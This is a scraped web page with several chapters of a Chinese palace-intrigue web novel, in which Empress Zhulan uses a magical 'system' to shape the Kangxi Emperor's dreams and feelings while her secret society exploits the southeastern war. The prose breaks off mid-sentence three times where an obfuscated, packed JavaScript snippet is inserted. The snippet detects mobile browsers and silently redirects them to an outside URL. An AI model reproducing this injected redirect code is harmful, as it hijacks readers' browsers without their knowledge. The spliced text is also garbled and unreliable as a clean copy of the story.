“强化信任不如找到信任的源头。”她心中对着系统说道,“他不是,会因功绩或者付出就情根深种的人。他啊,就只会信他自己。”数据是不会骗人的,但是分析数据的本事,系统还是差一点。 系统立刻调出关联数据——赫舍里氏总体贡献值:葛布喇之整顿朝政(+12),索额图之海事进账(+25),柯尔坤之西学引进(+8)等等,综合贡献度位列八旗之首。 但帝王对的皇后亲密度,与家族贡献度关联性仅为0.3,远低于‘患难与共’‘情感共鸣’等因素。 “所以你看,”珠兰指尖划过“0.3”的数字,“他赏葛布喇良田,是认可他的实干;信索额图海事,是需要那笔银子;用柯尔坤西学,是为了强军。这些,换得来前朝对赫舍里的倚重,换不来他夜里攥着皇后的手说‘别离开朕’。” 系统的数据流停顿了一瞬,像是在运算:“那梦境因素呢?康熙返回后,累计提及‘草原遇险梦’17次,每次提及后,亲密度均有0.1-0.3点波动。数据显示,梦境冲击与情感升温存在强关联。” “一个梦?”珠兰眉峰微挑。 她见过他因三藩战事焦头烂额,见过他为河工溃堤彻夜难眠,却从未想过一个虚无缥缈、不切实际的梦,能让这位帝王性情大变,变成一个恋爱脑。 打开系统虚拟书库,指尖拂过一排排贴着标签的虚拟卷宗——那是她入宫以来所有重大事件的记录,从泛黄的纸页里,能拼凑出这几年的风风雨雨。 最上面一卷,是“内务府变革”。 刚入宫时,她顶着“牝鸡司晨”的流言,杀人抄家,将积压的旧账理得清清楚楚。 那时康熙看着她递上的账册和银票,眼里是欣赏,是“皇后果然能干”的赞许,却绝无如今的缱绻。 往下是“包衣家族清理”,她借查贪墨案,拔掉了包衣旗十几个盘根错节、无法无天的世家,把内务府的任免权牢牢攥在手里。 康熙对此的评价是“干得好,省得他们仗着老资格生事”,赏赐了一对东珠耳环,语气里带着帝王对能臣的嘉奖。 再往下是“河道衙门西学渐进”,柯尔坤从西洋带回的水利图纸,是她力排众议推进试用的。 康熙虽准了,却反复叮嘱“西学可学,却不能丢了祖宗根本”,那时他关注的,是河工能不能省钱,能不能减灾,而非她的喜好。 “远洋贸易”卷册里,夹着索额图和明珠的联名奏折,说每年能为内库添三千万两白银。 康熙朱批“依议”时,嘴角噙着笑,那是江山稳固的踏实,而非对她这个首倡之人的温柔。 “草原商路与噶尔丹”那卷,记录着她在漠西分草场的细节,甚至贴着张她画的简易地图。 康熙当时回信说“祖母说你把牧民的心拢得好”,字里行间是对“治草原”的认可,与如今“别再涉险”的紧张判若两人。 其余蜂窝煤、琉璃、皇庄等小事,则不一一列举。 珠兰把卷宗一卷卷放回原位,关掉系统书库。 这些事桩桩件件都算得上功绩,可哪一件能让康熙从“帝王”变成“夫君”? 哪一件能让他在太皇太后提子嗣时,下意识挡在她身前说“是朕的意思”? 她重新点开系统面板,康熙的属性栏在眼前展开:“政治成熟度72”“猜忌心70”“开明度58”“信任珠兰78”……那些数字像串密码,藏着他从少年天子到成熟帝王的转变,却独独解不开“为何突然情根深种”的谜题。 “系统,调出康熙亲密度突变节点。”珠兰心中默念。 面板上立刻跳出一条红线,在“漠西遇袭事件”后陡然上扬。红线旁标注着具体时间——正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295862|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他声称做那个噩梦的第二天。 那一晚上,珠兰确实关注到了系统面板上数据的异常。系统主动给出了分析,认为是皇帝找到了爱,爱上了他的爱。 “梦里的场景是王辅臣叛军围困毡帐,皇后为护太皇太后自戕。”系统复述着康熙的描述。 珠兰扭头,望着窗外的宫墙。 她想起刚回宫时,康熙攥着她的手,反复说那个梦:“珠兰,我眼睁睁看着你……那血烫得像火。” 他眼里的恐惧不是装的,指尖的颤抖也不是装的,可她总觉得,一个梦不该有这么大的威力。 难道是,某个被她忽略的细节? 是她在漠西寄回的信里,提过“毡帐漏风,夜里总被冻醒”? 还是她画的那张白狐图,让他联想到草原的危险? 又或者,是柯尔坤带回的西洋游记里,提过“西方草原也常有匪患”? 她忽然想起一件事——去年冬至,她让商队给京城捎了批漠西的沙棘果,特意分了些给乾清宫。 梁九功后来回话说,皇上吃着酸果,突然问“皇后在那边是不是总吃这个”,语气里带着她从未听过的怅然。 那时她只当是帝王随口一问,没放在心上。 现在想来,或许从更早的时候起,有些东西就悄悄变了。 不是因为某一件事,而是无数个细节织成的网——是她处理内务府时的利落,是她清理包衣时的果决,是她研究西学时的坚持,是她在草原上应对危机时的镇定…… 这些碎片拼在一起,让他看到了一个鲜活的“珠兰”,而非仅仅是“赫舍里氏的皇后”? 而那个梦,是压垮骆驼的最后一根稻草? 在生死的极端假设里,他才猛然看清,这个总在他身后处理琐事、为他稳固后方的女子,早已成了他不能失去的人。 珠兰关掉面板,仓库里的能量结晶依旧泛着蓝光。她对着虚空笑了笑:“不强化‘信任’属性了。” 系统问:“理由?” “系统不可能铆钉天命核心人物的数值,那么没由来的信任就留不下,就像是没由来的开明数值,最终也掉了回去。”她走到窗边,看着宫道上往来的太监宫女,心中默念,“是他自己慢慢看清的心意,凭本事长出来的恋爱脑,不是靠结晶堆出来的。” 至于那些攒着的能量结晶,留着便是,谁知道往后会不会有更需要的地方。 风从窗缝里钻进来,带着御花园的花香。 珠兰深吸一口气,听见外头塔娜在叫玉姐姐。 是玉宁拎着花来了,算算时间,诺敏也该带着亲手做的点心过来了。 一个时辰后她们便会离去,那会儿乾清宫要来人请皇后娘娘。 久别重逢,大家都有些想念,虽然皇后没有规定请安之事,但这养心殿的早上,已经从年前热闹到年后。 后宫都晓得皇上对主子娘娘痴缠的紧,只有早朝这点空档能留给姐妹们。 珠兰姐姐不耐烦规矩框着大家,也不愿意折腾大伙儿,于是五个人按照平日的爱好,自动分了两拨过来。除了初一十五去慈宁宫问安,养心殿每日都有访客。 帝王的心意或许来得突然,或许带着点梦境的催化,此刻却不急着去想,还是妹妹们要紧。 她有的是时间,在往后的日子里,把这“情根深种”的缘由一点点捋“明白”。 那些能量结晶,还有那笔欠着的债,就像手里攥着的余钱,不必急着花,也不必急着还——日子还长着呢。 这点抗压能力,珠兰还是有的。 93. 润物无声 紫禁城的雪刚化尽,檐角的冰棱滴着水,砸在青石板上叮咚作响。 康熙捏着江南送来的八百里加急,指节因用力而泛白——那奏折上的墨迹还带着潮气,却清清楚楚写着:东南各地仍有零星起义,朝廷兵马推进受阻。 年前接太皇太后回宫时,他曾对着南下的使臣拍过御案:“务必在年内荡平三藩!” 那时三藩异姓王爷的直系亲属要么被擒,要么授首,成规模的叛军早已作鸟兽散,他原以为这不过是收尾的功夫。 可如今,年关已过,二月的风都带上了些许暖意,东南的战报却依旧透着焦灼。 “废物!”康熙将奏折摔在御案上,明黄的奏章散落一地。怒火上涌,让他有一瞬间的晕眩,眼睛疼的厉害。 梁九功跪在地上,连拾捡的勇气都没有——自正月十五收到第一封“未能如期肃清”的奏报后,皇上的脾气就像揣了个炮仗,一点就炸。只有主子娘娘在时,主子的心情才会好。 要不是有个叫李德全的小子,靠着一手丹青入了皇上的眼,让他有了危机感,他是真想躲出去一会儿啊,心要蹦跶坏掉了。 康熙闭目,平复眩晕时,也在回忆着军报、密报、快报等等。 八旗军和绿营分别进入云南、广东、福建等地后,哪里是“剿匪”,分明是借着平叛的由头烧杀抢掠。 地方志上写着“素称富庶”的城镇,被他们折腾得十室九空;世代居住在此的大户人家,要么被指为“藩军余孽”抄了家产,要么被士兵抢光了存粮,连墙根都被刨塌了。 “他们是去平叛的,不是去当匪的!”康熙低吼出声,这些本该成为朝廷根基的地方士绅,被硬生生逼成了反抗的火种。 那些原本应该是朝廷统治基础的良善人们哭着跪在路边,看见被抢走的粮车翻倒在田埂上,金银财宝散落一地,又马上被哄抢,体会了一遍曾经佃农的毁家灭门之苦。 曾经的佃农们早跑光了,没了好日子过的大户们就把家丁、护院武装起来,拿着锄头、鸟铳跟八旗军对峙。 规模是不大,却像附骨之疽,今天袭扰粮道,明天烧了营房,零零碎碎,哪里都有,让朝廷大军根本没法集中兵力。 恰在此时,八旗和绿营的奏折一前一后送到。 宗室王爷们信里大叹“南方蛮夷刁民不开化”,说他们“不识圣上仁厚”,才会“顽抗到底”;绿营将军则更直接,通篇都在喊苦——要加饷银、要赏钱、要抚恤,林林总总列了十几条,最后总结一句“非钱粮不足以安军心”。 康熙看着这些奏折,气得发笑。 “传旨,拨钱粮。”朕的银子啊,他的声音里有明显的疲惫,“再给他们三个月,若不能毕其功于一役,就提着脑袋回来见朕!” 梁九功领旨退下后,康熙又拿起另一封奏折——这是他特意写给索额图的,询问前线真实情况。 索额图的回信快得很,快船日夜兼程,只用了五日就送到。 信里说得直白:东南各处有零星起义军未平,然地方大户被逼反者十之七八,皆因大军劫掠过甚。” 寥寥数语,戳破了“刁民顽抗”的借口。 康熙将信纸揉成一团,扔在地上。 索额图才是说实话的那个,与粘杆处、通政司传回的消息基本一致。 所以,问题不在那些“不服王化”的地主,而在他派去的军队本身。 皇帝原来可能不懂,但有人会给他讲。 讲明白之后,这些人在打什么算盘很好猜,就是借着平叛的名义搜刮民脂民膏,惹出乱子了就往“刁民”身上推,最后还要朝廷来填这个窟窿。 深藏身与名的葛布喇,对,就是我抖落出来的。 索额图:不是我出门不想贪,是叫大哥堵住后路了,这个时候谁贪谁就是戳皇上的肺管子。 可皇帝此时,能怎么办? 东南未定,能打的都去了南边,总不能撤了这些人的职,让局势更乱。 眼下,收拾了这些将军容易,后果就是底下就没有战斗力了。他手下只有内务府护军是一支清廉、善战、忠诚之军,堪称有古之遗风,冯唐虽然平庸了些,但胆子也不大,不会如杰书等人一般为所欲为。可惜,人太少,哪里还有多余的兵力去接手南边这个烂摊子。 皇帝思考着护军营扩军之事,翻开军籍册,指尖划过一个个名字,眉头越皱越紧。 忽然,他的目光停在了两个名字上——常泰、常海。 这两个赫舍里家的小子,近来在京里风头正劲。 十五岁的常泰,据说模拟三藩战事从无疏漏,预测战场情形总能一语中的,性子素来沉稳,从不冒进,大学士都夸他“有大将之风”;十三岁的常海,拳脚功夫冠绝八旗子弟,拉弓射箭的本事连蒙古巴图鲁都自愧不如,哄得一众武师傅倾囊相授。 康熙想起珠兰提起这两个弟弟时的样子,“常泰爱读兵书,常海力气大,都是实诚孩子。” 实诚…… 或许,正是东南此刻最需要的品质。 杰书和岳乐这群人,精于算计,私心太重;汉人,不足信;这两个少年,虽年少,却可用。 若是从包衣中再选些好汉子充入护军营,倒是能快速形成战斗力。 珠兰人才储备的方案,是得皇帝肯定的。 “传赫舍里常泰、常海入宫。”一声声通传向外而去,正在南书房当值的葛布喇听到小太监的传话,尚且不知自家两个小子怎么就入了天子的眼中。 窗外的阳光穿过云层,照在御案上。 康熙望着那两个名字,想起在草原上大放光彩的端敏。 对付乱局,有时最需要的不是老谋深算,而是能稳住人心的干净与锐气。 东南的战火还在烧,但至少,他找到了新的棋子。 至于这步棋能不能走活,只能看这赫舍里家的双子星,有没有本事在那片狼藉里,闯出一条不一样的路来。 闽粤边境的山坳里,篝火在密林中跳动,映着翻云会一众人脸上的烟灰。 寿春用树枝拨了拨火,火星溅到草叶上,瞬间被夜露打灭。 她望着远处清军营地的灯火,低声道:“这局势,倒真应了大姐儿当年那句话。” 旁边的富春正擦拭着一把短刀,刀刃在火光下泛着冷光。富春用这把刀,切下一块油汪汪的五花肉,一口就吞了。 她含糊着,边嚼边应声,吃的津津有味,“何止是应了?简直是照着剧本走。姐姐你看,现在——清军找不到穷人搜刮,只能盯着大户咬;士绅被逼急了,抄起家伙跟朝廷对着干。整个东南,就像口被搅翻的粥,糊得清军连北都找不着。” 两人对视一眼,都从对方眼里看到了恍然。 还有油腥子,寿春恨铁不成钢,“你且去南边历练历练,快点突破,便可脱离这暴饮暴食的限制了。 富春又咬了一大口,“我喜欢吃,姐姐。” 当年翻云会奉大姐儿之命潜入闽粤,第一件事就是陆续屠尽当地真土匪,换上自己人伪装,得到□□的身份。 借着“匪患”,寿春光明正大的领着人在远离城镇的村庄里穿梭,举着火铳、大刀,跟被吓得蹲下抱头的佃户、家奴们聊,讲“苛政猛于虎”“耕者有其田”“减租减息”“打土豪分田地”等等真理。 那时候她们自己都觉得自己是在造反,或者造梦,反正劫富济贫等行为是造来了些了乱七八糟的人望。 这边的人现实,谁给好处,谁就是好人。跟着“匪”能吃饱,“匪”给大伙分田啊,那全村都愿意当“匪”去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301090|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻云会翻着跟斗,在这片水深火热的田地里扎根壮大,这是寿春都没有想到的。 更加没想到,三藩之战这么快就开打。 但大姐儿早有准备,大船、人手、粮食甚至南洋的土地庄园都预备妥帖。 趁着清军进剿前,在东南地区扎根各处山头沟壑的翻云会,已经靠着一系列土匪劫富济贫、诉苦大会、传经授字等手段赢得了大量民心。吃喝发愁的老百姓宁愿跟着这些看起来人还不错的土匪出海去搏命,也要躲避将来的兵灾。 朝廷的兵、三藩的兵都比土匪狠毒啊,老人们都遭殃过的。那时候没得选,只能往山里跑。现在有的选,当然越走越远。 他们悄悄把这些最底层的穷人分批送走——有的去了近处安南的种植园,基本是各家的长子长女,以后预备还想回来的,那边有现成的熟地可以种植,气候差别也不算大,只把当地人荒废的水利再修修就是极好的地方;有的被南洋的商队接走,继续南下去岛上,听说那边有个超级大的岛,去那边的都是各家的余子,出去能活,留在家里一家老小都得饿死;只有些实在走不了的老人,留在家门口等死,顺便当一当眼线。 寿春当时只觉得大姐儿的吩咐古怪——放着好好的“起义”不干,偏要费力气“送人”。 造反都没个造反的样子,等等,大姐儿造自己的反? 直到现在才看清,这步棋有多狠:穷人被带走,清军想靠“搜刮民财”维持军需的路就断了。没了佃户,地主手里的财富和人口成了唯一能抢夺的宝藏。他们为了护住自己,必须跟“彻底吃干抹净”的清军抗衡,能凑的人手也只有家丁护院这一类心腹翻云会藏在暗处搞事,让两边没有媾和的可能,如此既能借地主武装牵制消耗清军,又保证东南地区不至于出现大规模百姓死伤。 这还不是造反?寿春脑子也糊涂。但有一点是可以肯定的,大姐儿讨厌大地主。 “大姐儿当年说‘革命的彻底与彻底的革命’,”寿春往火堆里添了根柴,“我原以为是让咱们把三藩余孽连根拔起,现在才明白,她要拔的,是这土地上盘根错节的‘既得利益’。” 富春吃饱了,抹抹嘴,擦擦刃,利索的收起短刀,指节叩着膝盖,“清军要么把大户全杀了,彻底断了民心;要么被士绅耗得没了力气,灰溜溜退回江南。无论选哪条,这东南的根基都得被他们自己刨干净。”她忽然想起什么,“姐姐你说,大姐儿是不是早就料到这一步?故意借朝廷的刀,来做这场彻底的清算?” 这话,让两人都沉默了。 她们跟着珠兰多年,知道这位出身赫舍里氏的大姐儿心思深,却没想到能深到这种地步——不动声色间,就让清军成了她手里的斧,把东南的旧秩序劈得七零八落。 “去问问程岫吧。”寿春站起身,“他跟着杨期先生几年,或许能看明白。” 翻云会的临时据点藏在废弃的山庙里,程岫正借着月光看书,林昭然先生传下的原书千金难求,他手上的是杨期先生的手抄备注版。只有杨先生最爱惜的弟子,才能得到这样一本秘本。 千言之语,博大精深,常读常新。虽然是假托神明之赐,让读书人不耻,可道理是真对啊。 见两人进来,他放下手里的炭笔,指了指桌前的矮凳:“你们也看出来了?” 富春开门见山:“程先生,大姐儿是不是在南方做试验?用清军的手,打碎所有既得利益者?” 程岫拿起茶盏,吹了吹浮沫,眼底带着了然的笑意:“你们没猜错,当年杨先生讲‘天下治乱,在损其有余而补其不足’,他那时就说,‘三藩之乱,是祸,也是机’。” “机?”寿春不解,她忽然想起离京前大姐儿在写信,信不知是寄往何处,她记得她的眼神儿,平静,却藏着改天换地的力量。 94. 皇帝噩梦 “对,机会。”程岫放下茶盏,指尖在桌面上画着圈,“三藩在东南盘桓多年,与当地士绅早成了利益共同体。咱们翻云会若想彻底掌控这片地,光杀几个藩王人家不够,得把这张盘根错节的网撕碎。可谁来撕?唯有借清军的‘贪’与‘暴’,让清军动手——他们为了钱财逼反地主,为了军功屠戮士绅,最后把所有怨气都引到自己身上,等他们把能得罪的都得罪遍了……” “翻云会就能带着那些被送走的穷人回来,重建秩序?”富春接话道,眼里闪着光。 程岫点头:“我想,这就是大姐儿说的‘润物无声’。不喊口号,不举旗帜,就借着时局的势,让旧的秩序自己垮掉。等清军和士绅斗得两败俱伤,这片土地上,才能长出新东西。” 山风穿过庙门,吹得烛火摇晃。 寿春和富春望着窗外的夜色,那些远处的枪声、近处的篝火,痛快啊。 “那咱们接下来……” “等着。”程岫打断她,重新拿起毛笔,“等着清军把最后一点士气耗光,等着士绅武装撑不住的那天,两者同归于尽,这片土地上便干净了。到时候,咱们带回来的那些人,就是归附的良民、重建东南的根基。”也是,赫舍里氏预备摘桃子的终极武器。 大姐儿,着实是看的太远了。 烛光照在桌上摊开的账簿上,上面记着的不是金银,而是一串串名字——那些被他们从苦难里拉出来的佃户、家奴,这是一份记录详细的户籍。 她说,萌芽中的革命,不必声嘶力竭。 它可以藏在战火里,躲在算计中,像春雨一样,慢慢浸透土地,等人们回过神时,旧的泥块已散,新的种子,早已发了芽。 珠兰望着铜镜里自己的倒影,指尖轻轻抚过鬓角的珠花。 今日一大早,萨琳便带着甄应仙来了养心殿。 萨琳的性子已经从年幼时的稍微别扭,成长为了如今的十分怪癖。 她是满宫都晓得痴迷于数术的,还把进宫不久的甄应仙也带歪了。 两个人都在追着牛爵士的连载,说着旁人听不懂的话。到了养心殿也是一般,除了谈论高数问题,便是询问珠兰西洋可有船只返回。 两人身边的宫女也是习惯了,主子不上进,她们除了跟着不上进,也没别的招数。 女官吉雅招呼小姐妹几个自去廊下说话了,在屋里也是接不上话,平白打扰主子的思路,不如自出去等着。 珠兰其实同样接不上话,高数这东西你会就是会,不会就两眼一抹黑。 她走过很多世界,学过很多知识,但是能带进此方世界的不多,基本只有原初世界那一点留存。 所以,作为系统的制造人,珠兰反而很多知识都不如系统这个造物掌握的多,要谈这个就得提世界意志,这是个涉及能量交换的复杂问题。 好在萨琳与甄应仙这两个人凑在一起,便能开启天赋讨论,并不在意正主珠兰的反应。 仿佛她们来这里,便是为了借养心殿的灵气找灵感的。 珠兰听着听着,就如同听天书一般了。这两位解读牛爵士大作的进度,比外头八旗子弟学《几何原本》还要快,已经进展到商量做分光试验的事了。 她只好保持微笑,同意令内务府提供质量上乘的三棱镜,后让系统好好听讲,再后便自己进入沉思状态。 珠兰有一个课题,好需要梳理的。 排除一切不可能——康熙那阵子性情大变,从沉稳帝王变成个愣头青似的“恋爱脑”,莫非真的是因一个荒诞且完全不搭边的草原遇险梦? 当时的她身在漠西护军大营内,皇帝是清楚的,怎么做梦会把她安排到遇袭的火器营呢。 这完全不符合逻辑…… 系统:梦哪里又需要逻辑了。 珠兰:去,学牛爵士最新连载去。 系统:…… 皇帝做梦还罢了,怎么日常行事也没头脑起来了。 这是什么恋爱脑后遗症? 他会为了护着她,在太皇太后面前硬顶,说“子嗣事与皇后无关”,浑然不觉这话可能挑起婆媳嫌隙;会在下朝后攥着她的手不放,絮絮叨叨说“今日议政时总想着你有没有按时用膳”,活像个初坠情网的少年郎。 为了避免他再次跑去太皇太后面前强行秀恩爱、拉仇恨,她只能尽量旁敲侧击让皇帝不提那些敏感的字眼。 这些日子过下来,一遇到子嗣、选秀、宗室之类的话题,她没少揪皇帝的袖子,好悬没给扯破了。 总算,没再让他坏了事儿。 康熙十四五的时候,还老成着呢。 这十七八了,那些莽撞又炽热的举动,与他往日“帝王优先于夫君”的做派判若两人。 是叛逆期来了? 珠兰已经忘记了,她最早赋予了康熙一个预知地震的梦,才会让皇帝深信自己身负天命,对梦的重视远超常人。 但她记得造梦的价格,这么多年没通货膨胀。 梦的价儿便宜,比直接动属性划算的多,珠兰对着虚空轻嗤一声。 世界意志大概也不晓得,一个梦能对人有这么大的影响。 人,就是这么奇特的生物。 系统面板上,“涟漪级能量结晶×1”的字样格外清晰——给天命核心人物植入一个梦,只要一枚,多年来从未涨价。 夫妻间的亲密度涨到这个份上,提升收益已稀薄得可怜;信任值的稳定十分不易,以康熙的猜忌值来看,信任必然会不断左右横跳,加之无益。 那这造梦的本事,正该用之完成一件大事。 目光落在宗人府老王爷送上的折子中,字迹里满是宗室对“皇嗣”的期盼。这些折子,太皇太后与太后案头也都会有一份。 南方战事没有预想的顺利,老头子们为了给儿郎减轻压力,只好硬着头皮转移话题。 太皇太后那里,还有不少宗室福晋旁敲侧击,问及再开选秀之事。 后宫无子,定是妇人之责,谁叫她们拢不住皇帝,不如再添新人。 福晋们虽也是女子,但却不会在这种事上有半分对女子的怜惜。 选秀若是再送些甄应仙这一类的数学天才进来,珠兰是十分开心的。 八旗入关后,养育女儿有多套理念。但皇室一直在引领风潮,珠兰进宫后,宫外就一直在吹风说皇帝青睐文武双全的才女。 现在八旗勋贵家里既讲究有南人的诗书,也讲究有北人的骑射,还添上了听说是皇帝喜欢的数算。这些,普遍是心思更纯的女儿学的比家里的纨绔要强。 待她们入了宫,小小年纪皆为可造之材。 皇帝今年三月便满十八,他自己也与珠兰提及过子嗣事,压力还是他身上重。 今日刚好是二月二龙抬头,送走高数极限问题讨论二人组,珠兰晃了晃脑子里的水,把恋爱脑的问题抛下,去了乾清宫。 这位帝王像被施了什么咒,一整日中,时常抬头对着她发呆,批阅奏折到一半,突然抬头问整理票拟的皇后,“珠兰,你说咱们的孩子,会像你还是像我?” 因为珠兰回来了,皇帝处理政务的效率瞬间提升三分之一,他也有心情想些闲杂事儿了,或者玩笑几句。 那语气里的雀跃,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16306812|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点少年人般的莽撞,全然不像那个在朝堂上杀伐果断的君主。 皇后便做羞涩状,低下头去。 皇帝想要嫡子,珠兰却不想冒这个风险,在封建时代生孩子是系统都难保万全的。 她的母亲小佟佳氏,至今不好不坏的养着。 珠兰,是绝不会将观察点和能量结晶用在自己身上的。 晚上回养心殿之前,她有了主意——既然绕不开“孩子”这个坎,不如让梦境生出点别的效益。 提升亲密度、信任值算什么,若能借梦境让他看清“生养”背后的凶险……就看皇帝的恋爱脑到了哪个层级吧。 对自诩身负天命,把“社稷为重”挂在嘴边的帝王,寻常的软语温存央求没用。 得让他亲身体验过失去的痛,才能把“珠兰”两个字,刻进比子嗣更重的地方。 趁着他的爱尚且萌芽的模糊且朦胧,让他彻底把“爱”等同于“珠兰”。 于是,夜间那个“孕梦”,是让皇帝措手不及的喜悦。 梦里珠兰小腹微隆,太皇太后笑着往她手里塞红绸,康熙则看见自己站在一旁,傻呵呵地摸着襁褓里的小衣服。 他醒来时眼睛亮得惊人,早朝前脚步飞快的去了养心殿,梁九功摸着汗追的气喘吁吁,主子的腿是真长啊。 康熙来了,就为攥着皇后的手说一句,“珠兰,朕梦见你有孕了!朕还看见那是个男孩,眉眼像你!” 珠兰一愣,您自己加戏了吧。 他就要过十八岁生辰了,这梦像颗火星,点燃了他所有的期待。 整个大朝会期间,他都有些控制不住露出喜色。 除了一本正经说着朝中大事的葛布喇,其余人都在偷偷打量皇帝旁边的梁九功。 梁九功如芒在背,丝毫不敢露出异色来。皇帝身边的事儿,他半分不敢泄露。 朝臣们不敢直视皇帝,便想从这天子身边人身上看出点蛛丝马迹来。 可恨这梁九功,小小年纪滴水不漏的。 下朝后,康熙兴致勃勃的去了慈宁宫。 他不仅把梦境添油加醋说给太皇太后听,还对太皇太后说要让钦天监的人翻黄历,在五月挑个“宜嫁娶”的日子,说要“再办一次洞房花烛”,把梦里的喜事坐实。 太皇太后…… 他记得,那梦中的慈宁宫摆着馥郁的太平花,应是五月的时候。 珠兰看着他与太皇太后说个不停,看着太皇太后从不以为然到困惑不已,但听到是皇帝梦见此情景后,居然也重视了起来。 不错,还是拜当初那个地震预知梦所赐,太皇太后也认为皇帝身上是有天命的,这样清晰的梦必然有讲究的。 当事人珠兰有些无聊的坐着,若是往常有太后在,她俩还能聊个天摸个鱼,或者端敏在此,也有个话聊对象。 此时太后还在修养,遵照医嘱静休。 端敏于草原练兵,不仅是骑兵,还有以保护商队为理由成立的新式火器军团。为了彻底掌控北方糖生意,她去了一趟盛京,看望好姐妹和硕恭悫公主。最近,她缺钱。 北方糖料,主要是甜菜。东北占了一大半的产量,是纳喇氏在管。 想到此处,珠兰思绪回返。预知梦只有最初是甜的,看着眉开眼笑的皇帝,她决定给他加点猛料。 他开始频繁地失眠,眼底的红,一天比一天重,眼睛的酸涩感影响到他的视力,恶化到不得不开始针灸服药。 他甚至找来钦天监监正,屏退左右后问得格外认真:“爱卿说,朕身负天命,是不是……克妻?” 钦天监监正:…… 95. 朕看不见 初三晚上,康熙梦见产婆给皇后接生时偷偷换了催产药,他怒斩产婆,却还是没能留住人。 醒来时他脸色惨白,当天就把太医院的院判召来,逼着人家把所有助产的方子背了三遍,还把宫里所有备用产婆的底细查了个底朝天,将疑似与宗室有勾连的三人斥退。 不少人,动作不算大,还能瞒住后宫。他瞒着珠兰此事,也瞒着慈宁宫此事。这个梦,他不敢往天命上想,只当是自己忧心所致。 初四,梦里的祸根换成了端茶的宫女,她在安胎药里掺了凉性药材。康熙在梦里砍了宫女,却眼睁睁看着皇后气息渐弱。 第二天一早,令内务府画了小像来,顾问行按图索骥代为严查所有宫女,但凡有一分像的都要遣送出宫。 这一次动静太大,且是顾问行越俎代庖,故而还是叫珠兰晓得了,他只好与她说了这个梦。 珠兰安慰,让皇帝不要放在心上。 康熙点了点头,告诉自己这定然是巧合,自己的长子与皇后定然都会长寿康健。 初五,梦里出事的是送炭火的太监,他故意烧了带烟的湿炭,让皇后受了中了烟毒。梦里康熙掀了炭盆,砍了太监,预备了太医,仍然挡不住皇后产后大出血。 醒来后,他令梁九功将养心殿的炭例挪到乾清宫管,还定下规矩,以后所有进上的物件都要经三道查验。 梁九功一脸茫然的来见皇后娘娘,见娘娘并不见怪,才把炭册子和人都带走。 连续做着不同的噩梦,就这么到了二月中旬。皇帝不断增强防范,将各色危机一件一件的去解决。 梦中的遗憾开始脱离人为——有时是皇后突然心悸,有时是胎位不正,有时甚至只是她笑着笑着,就突然倒了下去。 无论康熙如何补救,如何提前布局,如何把能想到的隐患都掐灭,结局永远只有一个:孩子生下来了,是个眉眼周正的男孩,而皇后的手会慢慢变冷,眼睛会轻轻合上,任他怎么喊都不会再睁开。 有时深夜跑到养心殿,不许通传,就坐在床边看着珠兰睡,不说话,直到天快亮才悄悄离开。 那日珠兰听见他自言自语克妻这话,心里微微一动。 她故意翻过身,装作刚醒的样子:“皇上说什么胡话呢?” 他用力睁着眼睛,眼前是红色在弥漫,声音哑得像被砂纸磨过,“朕总梦见你……生下……孩子,你就……” 他说不下去,扭开身子,又转了回去。 生平从未有过这般情态的皇帝,甚至别开了视线,垂下了眼眸。 只紧紧攥着她的手,指节泛白,略带哽咽,“珠兰,咱们不生了,不要孩子了。只要你,好好的。” 心爱的女子无法顺利诞育子嗣,二选其一,是何等痛苦,是何等痛彻心扉。 只是梦,便已然让他承受不了。 皇帝,也是人啊。 此时此刻,恰如彼时彼刻。 为帝者,早崩乃莫大之愆;为子者,悖逆致母心锥痛;为父者,未尝恤己之子女;为夫者,钟情而不能庇其爱。 他曾经在深夜惊醒,发誓绝不要像他半分! 康熙虽然不想承认,但是确实有那么一瞬间,共情了自己的皇阿玛。 悲乎,哀乎。 珠兰望着他,甚至觉得他快碎了。 这一个月的噩梦,用惨烈且无力的方式,给自诩身负天命的皇帝刻下了印记——无论他如何防范,终究争不回皇后的性命。 就仿佛,她来人间一趟,只是为了这个孩子。 这是康熙所不能容忍的,不能接受的天命。 嫡子固然重要,可若要以她的性命为代价,他宁愿不要。 此子甚佳甚善,然朕之钟爱,唯珠兰耳——赫舍里珠兰,乃朕心之最上! 康熙眼睛里渐渐漫出泪,天命如此,示警于朕,朕既然为天子,便不该违逆。 但是,朕为天子,当有特权,作为交换,朕宁愿不要嫡出子女,也要皇后活着。 泪眼朦胧间,他感觉到她轻轻回握住他的手,温声道:“梦都是反的,再说,真要到了那时候,皇上肯定有办法护着我,不是吗?” 